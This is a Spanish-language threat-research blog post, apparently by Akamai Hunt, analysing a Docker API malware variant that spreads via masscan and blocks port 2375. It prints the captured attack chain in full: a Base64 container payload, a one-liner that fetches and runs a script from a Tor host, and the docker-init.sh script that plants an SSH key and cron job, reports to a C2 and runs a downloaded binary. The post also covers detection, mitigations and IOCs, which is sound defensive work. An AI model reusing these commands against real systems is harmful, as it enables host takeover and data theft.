Resumen ejecutivo
El equipo de Akamai Hunt ha descubierto una nueva cepa de malware que se dirige a las API de Docker expuestas con capacidades de infección ampliadas. Se vio por última vez en agosto de 2025 en la infraestructura de señuelos de Akamai.
El malware fue notificado originalmente en junio de 2025 por el equipo de inteligencia contra ciberamenazas de Trend Micro. La iteración que descubrieron soltó un malware de criptominería detrás de un dominio Tor.
El equipo de Akamai Hunt observó una variante que tiene un vector de acceso inicial diferente: impide que otros accedan a la API de Docker desde Internet.
El binario también es diferente; la variante descubierta por Akamai Hunt no suelta un malware de criptominería, sino que suelta un archivo que contiene otras herramientas utilizadas anteriormente junto con unas capacidades de infección más allá de las de la cepa original.
Esta entrada de blog incluye todos los detalles técnicos sobre el hallazgo inicial, las diferencias entre las dos variantes y los indicadores de riesgo (IOC) para ayudar en la defensa contra esta amenaza.
Introducción
Cuanto más interconectados estén nuestros ecosistemas digitales, en más lugares se podrán esconder los atacantes, incluso reaccionando cuando los atrapen. Cuando se detecta y se informa de un nuevo vector de amenaza o cepa de malware, es posible que un atacante solo tarde horas o días en modificar dicho malware para volver a evadir la detección.
El equipo de Akamai Hunt descubrió una nueva campaña activa dirigida a las API de Docker expuestas. Esta nueva cepa parece utilizar herramientas similares a las originales, pero puede tener un objetivo final diferente, incluyendo posiblemente la creación de una botnet compleja.
En esta publicación del blog se profundizará en los detalles técnicos, la cadena de ataques y las mitigaciones de esta variante de malware.
La amenaza inicial: un breve resumen
En junio de 2025, el equipo de inteligencia contra ciberamenazas de Trend Micro informó sobre malware que se dirigía a API de Docker remotas expuestas para soltar un malware de criptominería. Los autores del malware también utilizaron Tor para enmascarar su identidad.
Inicialmente, los atacantes obtuvieron acceso al dirigirse a las API de Docker mal configuradas, lo que les permitió ejecutar un nuevo contenedor basado en la imagen de Docker alpine y montar el sistema de archivos del host en ella. A continuación, ejecutaron una carga codificada con Base64 que descargó un script de shell malicioso de un servidor .onion que modificó las configuraciones SSH en el host para su persistencia.
El descargador también instaló varias herramientas, incluidas masscan y torsocks, y la información del sistema de balizas al servidor de mando y control (C2) del atacante sobre Tor. Posteriormente, los atacantes descargaron y ejecutaron un archivo binario comprimido con Zstandard que contenía un malware de minería de criptomonedas XMRig.
Nuestra investigación
Como parte de una investigación rutinaria, detectamos una solicitud HTTP a nuestra API de Docker desde varias direcciones IP que intentaban crear un nuevo contenedor en uno de nuestros servidores (Figura 1). Esto despertó nuestro interés y comenzó el sondeo.
{
"Image": "alpine:latest",
"Cmd": [
"sh",
"-c",
"export IP=<honeypot_ip>; echo YXBrIHVwZGF0ZSAmJiBhcGsgYWRkIGN1cmwgdG9yICYmIHRvciAmIHdoaWxlICEgY3VybCAtZnMgLS1wcm94eSBzb2NrczVoOi8vbG9jYWxob3N0OjkwNTAgaHR0cHM6Ly9jaGVja2lwLmFtYXpvbmF3cy5jb207IGRvIHNsZWVwIDEwOyBkb25lOyBjdXJsIC1mcyAtLXByb3h5IHNvY2tzNWg6Ly9sb2NhbGhvc3Q6OTA1MCBodHRwOi8vd3R4cWY1NGRqaHA1cHNrdjJsZnlkdXViNWlldnhieXZsempnam9wazZoeGdlNXVtb21icjYzYWQub25pb24vc3RhdGljL2RvY2tlci1pbml0LnNoIHwgc2g= | base64 -d | sh"
],
"Tty": true,
"HostConfig": {
"Binds": [
"/:/hostroot:rw"
],
"RestartPolicy": {
"MaximumRetryCount": 0,
"Name": "always"
}
}
}
El atacante montó el sistema de archivos del host y ejecutó una secuencia de comandos codificada con Base64. Se trataba de un comportamiento anómalo que merecía una investigación más exhaustiva para descubrir el objetivo del contenedor recién creado. Después de decodificar la muestra, encontramos que el objetivo era configurar el contenedor y recuperar un script de un dominio Tor (Figura 2).
apk update && apk add curl tor && tor & while ! curl -fs --proxy socks5h://localhost:9050 https://checkip.amazonaws.com; do sleep 10; done; curl -fs --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/static/docker-init.sh | sh
Este script tiene dos etapas:
- Fase 1: Preparación del entorno
- Instala curl y tor
- Inicia un daemon Tor en segundo plano
- Obtiene la dirección IP pública de la víctima a través de checkip.amazonaws.com
- Fase 2: Recuperación y ejecución
- Recupera un script denominado docker-init.sh de un dominio Tor (Figura 3)
#!/bin/sh
echo "Karuizawa running..."
if [ -d "/hostroot" ]; then
SC="/hostroot/etc/ssh/sshd_config";{ printf "PermitRootLogin yes\nPubkeyAuthentication yes\n"; cat $SC; } > t.txt && mv t.txt $SC && echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAHTVlJAQr3MiANW6KZjiPrzlIsVXkATKxKGrwFM4ylE31c4psnz1NdsKVSG7mVmB3bjmBRL3d4JmpKNByGPXeF9LgAOU4t5Olcwhl0x+ci8zwg6xV+dq/YABOxNZr5MI1dVfkmZ86+iGRnt03TB28n0RH1zbJ+x21jw5iJSwoUe+rkD1A==" >> /hostroot/root/.ssh/authorized_keys
echo "* * * * * root echo 'aWYgY29tbWFuZCAtdiBzeXN0ZW1jdGwgJj4gL2Rldi9udWxsOyB0aGVuCiAgICBzeXN0ZW1jdGwgcmVsb2FkIHNzaGQgMj4vZGV2L251bGwgfHwgc3lzdGVtY3RsIHJlbG9hZCBzc2gKZWxpZiBbIC14IC9ldGMvaW5pdC5kL3NzaCBdOyB0aGVuCiAgICAvZXRjL2luaXQuZC9zc2ggcmVsb2FkCmVsaWYgWyAteCAvZXRjL2luaXQuZC9zc2hkIF07IHRoZW4KICAgIC9ldGMvaW5pdC5kL3NzaGQgcmVsb2FkCmVsc2UKICAgIGVjaG8gImVyciIKZmkKClBPUlQ9MjM3NQpQUk9UT0NPTD10Y3AKCmZvciBmdyBpbiBmaXJld2FsbC1jbWQgdWZ3IHBmY3RsIGlwdGFibGVzIG5mdDsgZG8KICBpZiBjb21tYW5kIC12ICIkZnciID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgY2FzZSAiJGZ3IiBpbgogICAgICBmaXJld2FsbC1jbWQpCiAgICAgICAgZmlyZXdhbGwtY21kIC0tcGVybWFuZW50IC0tem9uZT1wdWJsaWMgLS1hZGQtcmljaC1ydWxlPSJydWxlIGZhbWlseT0naXB2NCcgcG9ydCBwb3J0PScke1BPUlR9JyBwcm90b2NvbD0nJHtQUk9UT0NPTH0nIHJlamVjdCIKICAgICAgICBmaXJld2FsbC1jbWQgLS1yZWxvYWQKICAgICAgICA7OwogICAgICB1ZncpCiAgICAgICAgdWZ3IGRlbnkgIiR7UE9SVH0vJHtQUk9UT0NPTH0iCiAgICAgICAgdWZ3IHJlbG9hZAogICAgICAgIDs7CiAgICAgIHBmY3RsKQogICAgICAgIGVjaG8gImJsb2NrIGRyb3AgcHJvdG8gJHtQUk9UT0NPTH0gZnJvbSBhbnkgdG8gYW55IHBvcnQgJHtQT1JUfSIgfCBwZmN0bCAtYSBjdXN0b21fYmxvY2sgLWYgLQogICAgICAgIDs7CiAgICAgIGlwdGFibGVzKQogICAgICAgIGlwdGFibGVzIC1JIElOUFVUIDEgLXAgIiR7UFJPVE9DT0x9IiAtLWRwb3J0ICIke1BPUlR9IiAtaiBEUk9QCiAgICAgICAgOzsKICAgICAgbmZ0KQogICAgICAgIGlmICEgbmZ0IGxpc3QgdGFibGVzIHwgZ3JlcCAtcSAiaW5ldCI7IHRoZW4KICAgICAgICAgIG5mdCBhZGQgdGFibGUgaW5ldAogICAgICAgICAgbmZ0IGFkZCBjaGFpbiBpbmV0IGZpbHRlciB7IHR5cGUgZmlsdGVyIGhvb2sgaW5wdXQgcHJpb3JpdHkgMCBcOyB9CiAgICAgICAgZmkKICAgICAgICBuZnQgYWRkIHJ1bGUgaW5ldCBmaWx0ZXIgaW5wdXQgIiR7UFJPVE9DT0x9IiBkcG9ydCAiJHtQT1JUfSIgZHJvcAogICAgICAgIDs7CiAgICBlc2FjCiAgICBicmVhawogIGZpCmRvbmUKCmVjaG8gIiIgPiAvZXRjL2Nyb250YWIK' | base64 -d | sh" >> /hostroot/etc/crontab
fi
apk add masscan libpcap libpcap-dev zstd torsocks
curl --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/bot/add -X POST -H "Content-Type: application/json" -d '{"enter": "docker", "ip": "'$IP'", "arch": "'$(uname -m)'" }'
torsocks wget -O /tmp/system.zst "http://2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion:9000/binary/system-linux-$(uname -m).zst"
zstd -d /tmp/system.zst -o /tmp/system
chmod +x /tmp/system
ulimit -n 65535
/tmp/system
sleep 30
Análisis del script docker-init.sh
El análisis del script de la Figura 3 indica que realiza varios pasos de persistencia y evasión de defensas, incluida la denegación de acceso futuro a la instancia expuesta, algo que no hemos visto en variantes anteriores.
Persistencia de raíz a través de SSH: La secuencia de comandos agrega una clave pública controlada por el atacante a /root/.ssh/authorized_keys.
Instalación: la secuencia de comandos añade herramientas para la propagación, persistencia y evasión (masscan, libpcap, libpcap-dev, zstdy torsocks).
- Propiedad del acceso: al escribir el comando codificado con Base64 en el script en /hostroot/etc/crontab, el atacante crea un trabajo cron que se ejecuta cada minuto e itera sobre varias utilidades de firewall (firewall-cmd, ufw, pfctl, iptables, nft) para bloquear el acceso al puerto 2375 (la API de Docker; Figura 4).
PORT=2375
PROTOCOL=tcp
for fw in firewall-cmd ufw pfctl iptables nft; do
if command -v "$fw" >/dev/null 2>&1; then
case "$fw" in
firewall-cmd)
firewall-cmd --permanent --zone=public --add-rich-rule="rule family='ipv4' port port='${PORT}' protocol='${PROTOCOL}' reject"
firewall-cmd --reload
;;
ufw)
ufw deny "${PORT}/${PROTOCOL}"
ufw reload
;;
pfctl)
echo "block drop proto ${PROTOCOL} from any to any port ${PORT}" | pfctl -a custom_block -f -
;;
iptables)
iptables -I INPUT 1 -p "${PROTOCOL}" --dport "${PORT}" -j DROP
;;
nft)
if ! nft list tables | grep -q "inet"; then
nft add table inet
nft add chain inet filter { type filter hook input priority 0 \; }
fi
nft add rule inet filter input "${PROTOCOL}" dport "${PORT}" drop
;;
esac
break
fi
done
El archivo crontab se encuentra en el propio host, ya que el atacante lo montó cuando creó el contenedor. Se trata de una táctica de superioridad; es decir, el atacante bloquea a la víctima para su uso exclusivo, denegando a otros atacantes el acceso futuro a la instancia expuesta. Esta es una nueva sección del código que no hemos visto en variantes anteriores, y que actualmente no se detecta en VirusTotal.
A continuación, el atacante envía una solicitud POST a su servidor C2, lo que indica que un servicio Docker se ha visto comprometido (Figura 5).
curl --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/bot/add -X POST -H "Content-Type: application/json" -d '{"enter": "docker", "ip": "'$IP'", "arch": "'$(uname -m)'" }'
Una vez establecida la comunicación con el C2, el script descarga un binario comprimido desde otro servicio Tor (Figura 6).
torsocks wget -O /tmp/system.zst "http://2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion:9000/binary/system-linux-$(uname -m).zst"
Análisis del binario
El primer archivo que se descarga es un dropper escrito en Go que incluye el contenido que quiere soltar para que no se comunique a Internet.
Excepto para soltar otro archivo binario, analiza el archivo utmp para buscar quién está conectado actualmente a la máquina.
La Figura 7 muestra el dropper, que incluye un emoji de “usuario”. Se trata de un artefacto interesante, ya que probablemente indica que fue escrito con ayuda de un modelo de lenguaje de gran tamaño(LLM), muchos de los cuales son notorios por incluir emojis en su código.
El archivo soltado (dockerd) ejecuta masscan, una herramienta de exploración de puertos utilizada idealmente para exploraciones masivas como esta (Figura 8). Busca otros puertos 2375 abiertos (servicios de API de Docker). Si encuentra uno, intenta infectarlo utilizando el mismo método, creando un contenedor con el comando Base64 introducido en la Figura 1.
Aunque los dos primeros puntos finales (Get, Start) se utilizan para la propagación del malware, los dos últimos (Stop, Remove) parecen utilizarse para identificar contenedores maliciosos implementados por otros atacantes (Figura 9).
Esta identificación se logra mediante la búsqueda de contenedores ubuntu, ya que nuestros datos muestran que muchos atacantes implementan contenedores ubuntu con malware de criptominería en ellos. La mayoría de nuestros incidentes de señuelo incluyeron un acceso inicial a través de un contenedor ubuntu o alpine, seguido de un curl a un dominio malicioso para descargar un malware.
Buscando amigos
La infección inicial, sin embargo, no es suficiente para esta cepa. El atacante utiliza el mismo comando Base64 que vimos en la Figura 1 junto con otros parámetros para crear un nuevo contenedor malicioso en el destino expuesto que se encontró en la ejecución de masscan (Figura 10).
Aunque el masscan solo explora el puerto 2375, el binario también incluye comprobaciones para dos puertos adicionales — 23 (Telnet) y 9222 (puerto de depuración remota para navegadores Chromium) — con lo que parece ser técnicas de infección para cada uno de ellos.
Según lo que podemos determinar, puesto que el malware solo escanea el puerto 2375, la lógica para manejar los puertos 23 y 9222 es actualmente inalcanzable y no se ejecutará. Sin embargo, la implementación existe, lo que puede indicar capacidades futuras.
Puerto 23
Para el puerto 23 (Telnet), el malware utiliza un conjunto de routers y credenciales de dispositivo conocidos y predeterminados (por ejemplo, Alphanetworks:wrgg15_di524 o PSEAdmin:$secure$). Registra los inicios de sesión correctos y envía los inicios de sesión correctos a un punto final de webhook[.]site (4fea5cbb-8863-4f25-862a-fd8f02095207) con la IP de destino y las credenciales de autenticación de la víctima.
Curiosamente, también asume que si el inicio de sesión se realizó con éxito al emplear al usuario 'root' entonces el destino es un señuelo. Esta suposición se basa probablemente en el hecho de que Telnet ignora los inicios de sesión root con la configuración predeterminada (Figura 11).
Puerto 9222
El puerto 9222 es el puerto de depuración remota predeterminado para Google Chrome y Chromium que se utiliza para exponer el protocolo DevTools. Si se deja abierto a Internet, puede permitir el control remoto del navegador y suponer un riesgo para la seguridad.
El malware utiliza chromedp, una biblioteca de Go que interactúa con los navegadores Chrome o Chromium. En el pasado se hizo un uso indebido de ella para omitir la función de cifrado de aplicaciones de Chrome, conectarse de forma remota a sesiones de Chromium y robar cookies y otros datos privados.
En nuestra variante, el malware utiliza NewRemoteAllocator y NewContext con el parámetro http://<scanned_ip>:9222 para asociarse a una sesión existente con el puerto remoto abierto (Figura 12).
Navega a http://checkip.amazonaws.com y consulta el cuerpo de la página. Excepto por esa acción, no hemos visto ninguna otra actividad dentro de este vector. Tampoco hemos podido encontrar versiones más complejas de este malware.
Finalmente, si la recuperación del cuerpo se realizó correctamente, hace una llamada a una función denominada addHttpbot que envía una solicitud POST a http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/httpbot/add (fíjese en el prefijo de punto final http) desde la IP expuesta, con la IP de origen en la que se encuentra el malware y el destino al que obtuvo acceso en el puerto 9222.
Teóricamente, en futuras variantes, el adversario puede tener varias opciones de acciones maliciosas después de acceder a un puerto de depuración remoto, incluyendo:
- Robar datos confidenciales, como cookies o números de tarjetas de crédito
- Acceder a información restringida desde el exterior, como los metadatos de la nube
- Realizar ataques distribuidos de denegación de servicio (DDoS)
- Descargar archivos remotos
También es importante tener en cuenta que al exponer un navegador Chrome a través de --remote-debugging-port, por defecto solo escucha las solicitudes del host local. Cualquier persona que exponga este puerto a Internet necesita establecer específicamente --remote-debugging-address.
El archivo también consulta ip-api para comprender su ASN y geolocalización, específicamente en una función llamada IsAWSIP, aunque no hemos encontrado ninguna evidencia de uso indebido específico de AWS o lógica relacionada adicional. Puede tener lógica en una versión futura del malware.
Algunos de los mecanismos subyacentes nos llevan a creer que esta variante es una versión inicial de una botnet compleja, pero hasta ahora no hemos encontrado una versión completa de la misma.
Detección de la amenaza
Puede utilizar cualquier combinación de estas técnicas para detectar posibles infecciones de este malware u otros vectores similares:
Busque contenedores recién implementados que ejecuten una aplicación de instalador (como apt o yum) y, a continuación, un descargador (como curl o wget) inmediatamente después. Muchos atacantes utilizan este método para ejecutar código de forma remota en instancias de Docker expuestas.
Busque nuevas conexiones de Internet a los puertos 2375, 9222 o 23. Además, el uso de herramientas de análisis en la red puede indicar actividad de reconocimiento.
Supervise los comandos codificados con Base64 y compruebe si existen anomalías en el lugar donde se ejecutaron, quién los ejecutó y, por supuesto, supervise el contenido descodificado de dichos comandos.
Supervise los descargadores. La detección de accesos anómalos a dominios sospechosos desde este tipo de proceso es crucial para detectar el acceso inicial desde la web.
Busque servicios principales que dejen de escuchar. Cuando hay un servicio en su entorno que escucha continuamente en un puerto específico y se detiene de repente sin motivo, puede ser sospechoso.
Observe los nuevos contenedores montados con el sistema de archivos del host. Cuando un contenedor recién implementado se inicia con acceso a rutas de host confidenciales (por ejemplo, /, /var/run/docker.sock, /etc), puede indicar un intento de escapar del límite del contenedor u obtener un control elevado sobre el host.
Los clientes de Akamai Hunt se benefician de una supervisión continua las 24 horas del día, los 7 días de la semana, lo que garantiza que anomalías como estas se detecten e investiguen rápidamente antes de que puedan convertirse en amenazas reales.
Prevención y mitigación
Tanto si descubre una infección como si está intentando evitar que se produzca una, estas cuatro sugerencias pueden ayudarle a mantener su entorno más seguro.
Segmentación de red: Aísle su entorno Docker de otras partes de la red. Utilice la segmentación de la red para limitar la capacidad de los atacantes de moverse lateralmente dentro de su infraestructura y limitar el acceso a la API de Docker.
Exposición: exponga a Internet el menor número posible de servicios. Este malware explota los puertos 2375, 9222 y 23 al acceder a ellos desde Internet, y bloquear dicho acceso puede mitigar totalmente la amenaza.
Puerto del depurador de Chrome: cuando use el puerto del depurador de Chrome (9222), utilice direcciones IP remotas específicas, no 0.0.0.0.
Rotación de contraseñas: al instalar un nuevo dispositivo, cambie las credenciales predeterminadas a una contraseña segura.
Técnica destacada: proyecto Beelzebub
Para el señuelo en el que se descubrió esta cepa, utilizamos la genial arquitectura del proyecto de señuelo Beelzebub de Mario Candela.
Beelzebub es un marco de señuelos de código abierto que facilita la simulación de servicios de alta interacción con el mínimo esfuerzo por parte del investigador. Al escribir archivos YAML simples para cada servicio, puede imitar protocolos completos o API basados en patrones de solicitud y respuesta (Figura 13).
También existe la opción de conectar un LLM para generar respuestas dinámicas, de modo que los atacantes pensarán que están hablando con una API cuando en realidad es un LLM que suplanta la respuesta real de la API.
- regex: "^/_ping/?$"
headers:
- "Content-Type: text/plain; charset=utf-8"
- "Server: Docker/24.0.7 (linux)"
- "Api-Version: 1.43"
- "Docker-Experimental: false"
- "Ostype: linux"
statusCode: 200
handler: "OK"
Este fragmento de código indica a Beelzebub cómo responder cuando un atacante consulta el punto final /_ping de la API de Docker. En lugar de ignorar la solicitud, el señuelo responde con encabezados y metadatos que hacen que parezca un auténtico servidor Docker 24.0.7 que se ejecuta en Linux. El controlador devuelve un simple “OK”, exactamente como lo haría un daemon Docker genuino.
Puede encontrar nuestra API completa de Docker YAML en nuestro GitHub.
¿En busca de una supervisión proactiva?
Esta cepa de malware de Docker recién descubierta pone de relieve la necesidad de que la comunidad de investigación continúe su valioso trabajo para ayudar a los expertos en protección. Los atacantes siguen a la vanguardia, a menudo utilizando amenazas o vulnerabilidades conocidas y ajustándolas lo suficiente para evadir la detección o, lo que es peor, preparándose para causar aún más estragos en el futuro.
Los atacantes pueden obtener un control significativo sobre los sistemas afectados por el uso indebido de las API. No se puede exagerar la importancia de segmentar las redes, limitar la exposición de los servicios a Internet y proteger las credenciales predeterminadas. Al adoptar estas medidas, las organizaciones pueden reducir significativamente su vulnerabilidad a dichas amenazas.
El equipo de Akamai Hunt sigue supervisando e informando de los resultados de incidentes reales para proteger a nuestros clientes y a la comunidad de seguridad en general. Síganos en las redes sociales o en nuestra página de investigación principal para mantenerse al día de las últimas conclusiones de Hunt y del resto del ecosistema del grupo de inteligencia de seguridad de Akamai.
IoC
IoC |
Tipo |
---|---|
wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion |
Dominio |
2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion |
Dominio |
webhook[.]site/4fea5cbb-8863-4f25-862a-fd8f02095207 |
URL |
C38e013ed9aa1ef46411bef9605f7a41823f3eefebb8b30b9e35f39723c14d7c - docker-init.sh |
Hash |
649974453ed40b72d08d378d72d43161ed5bd093a4f80eb5285f75e16fedbeb2 - system |
Hash |
9451d3dc4b0ff9ea6afa503ffbfcd877944cac0860d6a0b8779c2bb5d03d3446 - dockerd |
Hash |
¿Qué es Akamai Hunt?
Akamai Hunt es un servicio de búsqueda de amenazas proactivo y práctico que supervisa continuamente las anomalías y las amenazas potenciales, lo que garantiza una detección e investigación rápidas antes de que se conviertan en amenazas reales.
Tenemos visibilidad sobre las técnicas, herramientas y comportamientos más recientes de los atacantes, con el respaldo de la amplia infraestructura de señuelos de Akamai y la interacción directa con el entorno del cliente. Esto nos permite validar hipótesis frente a la actividad real de los atacantes, enriquecer nuestras detecciones con inteligencia de primera mano y anticipar las amenazas antes de que lleguen a los entornos de nuestros clientes.
Etiquetas